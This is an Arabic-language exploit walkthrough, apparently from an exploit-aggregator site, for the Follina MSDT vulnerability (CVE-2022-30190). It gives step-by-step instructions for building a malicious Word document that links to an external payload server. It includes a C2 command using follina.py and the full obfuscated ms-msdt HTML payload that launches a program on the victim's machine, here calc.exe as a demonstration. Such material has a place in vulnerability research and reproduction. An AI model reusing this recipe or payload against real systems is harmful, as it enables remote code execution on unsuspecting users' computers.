## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YRKUO-CVE-2022-30190
# CVE-2022-30190
المعروف أيضًا باسم Follina
## وصف الثغرة
> توجد Follina في أداة تشخيص الدعم من مايكروسوفت (Microsoft Support Diagnostic Tool، MSDT). عندما يستدعي تطبيق MSDT عبر بروتوكول URL للحصول على الدعم، تظهر ثغرة تنفيذ التعليمات البرمجية عن بُعد. الاستغلال الناجح يسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية بناءً على صلاحيات التطبيق الذي يتم تشغيله.
## بيئة إعادة إنتاج الثغرة
root@kitploit:~
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
## خطوات إعادة الإنتاج
### إنشاء مستند خبيث
الخطوة 1: قم بإنشاء مستند Word (.docx) وأدرج كائن OLE (مثل: Bitmap Image) داخل النص.
الخطوة 2: قم بفك ضغط ملف .docx وعدّل الملف `word/_rels/document.xml.rels` داخل المجلد. غيّر القيمة `Target="embeddings/oleObject1.bin"` الموضحة في الخلفية الصفراء بالصورة أدناه إلى: `Target = "http://<payload_server>/<random_name>.html!"`، وأضف قيمة الخاصية `TargetMode = "External"`.

الخطوة 3: عدّل الملف `word/document.xml` داخل المجلد. غيّر القيمة `Type="Embed"` في الخلفية الصفراء بالصورة أدناه إلى `Type="Link"`، وأضف قيمة الخاصية `UpdateMode="OnCall"`.

الخطوة 4: استخدم 7-zip لفتح ملف .docx (بدون فك الضغط)، ثم ضع الملفين المذكورين أعلاه داخل ملف .docx، وبذلك يكتمل إنشاء المستند الخبيث.
### إعداد خادم C2
قم بتنزيل Follina.py الذي نشره John Hammond. هنا نستخدم مثالاً بسيطاً لاستدعاء الآلة الحاسبة: `python3 follina.py -c calc.exe -i eth0`
#### ملاحظة
في ملف Follina.py، الأسطر من 117 إلى 125 مخصصة أساساً لإنشاء الحمولة الخبيثة (.html)، ومحتواها كما يلي. `<script>location.href...` هو سكربت ينفذ الآلة الحاسبة على الجهاز الضحية. كما يتم ملء المستند بالكامل بعدد كبير من الأحرف العشوائية بهدف جعل حجمه 4096 بايت على الأقل. للاطلاع على السبب، راجع هجوم “Follina” MSDT
root@kitploit:~
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script
## المراجع
شرح إخباري Follina.py
مستند خبيث
اختبار الثغرة 1
اختبار الثغرة 2
اختبار الثغرة 3